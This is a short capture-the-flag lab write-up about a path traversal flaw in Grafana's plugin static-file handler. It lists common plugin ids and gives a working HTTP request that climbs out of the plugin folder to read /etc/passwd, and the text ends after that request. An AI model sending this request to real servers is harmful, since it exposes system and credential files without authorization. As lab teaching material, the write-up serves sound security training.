# IoT Hacking CLUS CTF Flags
|
||
|
|
|
||
|
|
The following are the CTF flags for the grafana vulnerability in the IoT device:
|
||
|
|
|
||
|
|
The vulnerability is caused by plugin module, which is able to serve the static file inside the plugin folder. But for lock of check, attacker can use ../ to step up from the plugin folder to parent foler and download arbitrary files.
|
||
|
|
|
||
|
|
To exploit the vulnerabilty, you should know a valid plugin id, such as alertlist, here are some of common plugin ids:
|
||
|
|
```
|
||
|
|
alertlist
|
||
|
|
cloudwatch
|
||
|
|
dashlist
|
||
|
|
elasticsearch
|
||
|
|
graph
|
||
|
|
graphite
|
||
|
|
heatmap
|
||
|
|
influxdb
|
||
|
|
mysql
|
||
|
|
opentsdb
|
||
|
|
pluginlist
|
||
|
|
postgres
|
||
|
|
prometheus
|
||
|
|
stackdriver
|
||
|
|
table
|
||
|
|
text
|
||
|
|
```
|
||
|
|
Send following request to retrieve the **/etc/passwd ** (you can replace the alertlist with any valid plugin id):
|
||
|
|
|
||
|
|
```
|
||
|
|
GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
|
||
|
|
